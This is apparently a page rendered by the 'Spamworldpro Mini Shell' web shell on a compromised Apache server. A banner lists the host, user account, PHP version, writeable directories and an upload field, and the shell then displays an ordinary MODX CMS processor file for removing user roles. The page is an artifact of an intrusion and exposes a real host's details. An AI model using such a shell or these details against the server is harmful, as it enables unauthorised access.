Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/www/core/model/modx/processors/security/role/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/www/core/model/modx/processors/security/role/remove.class.php
<?php
/**
 * Removes a role.
 *
 * @param integer $id The ID of the role
 *
 * @package modx
 * @subpackage processors.security.role
 */
class modUserGroupRoleRemoveProcessor extends modObjectRemoveProcessor {
    public $classKey = 'modUserGroupRole';
    public $languageTopics = array('user');
    public $permission = 'delete_role';
    public $objectType = 'role';

    public function beforeRemove() {
        if ($this->isCoreRole()) {
            return $this->modx->lexicon('role_err_remove_admin');
        }

        /* don't delete if this role is assigned */
        if ($this->isAssigned()) {
            return $this->modx->lexicon('role_err_has_users');
        }


        return parent::beforeRemove();
    }

    /**
     * Don't delete the Member or Super User roles.
     *
     * @TODO: when this is converted in build script, convert to i18n
     * 
     * @return boolean
     */
    public function isCoreRole() {
        return $this->object->get('name') == 'Member' || $this->object->get('name') == 'Super User';
    }

    /**
     * See if the Role is assigned to any users
     * 
     * @return boolean
     */
    public function isAssigned() {
        $c = $this->modx->newQuery('modUserGroupMember');
        $c = $c->where(array('role' => $this->object->get('id')));
        return $this->modx->getCount('modUserGroupMember',$c) > 0;
    }
}
return 'modUserGroupRoleRemoveProcessor';

Spamworldpro Mini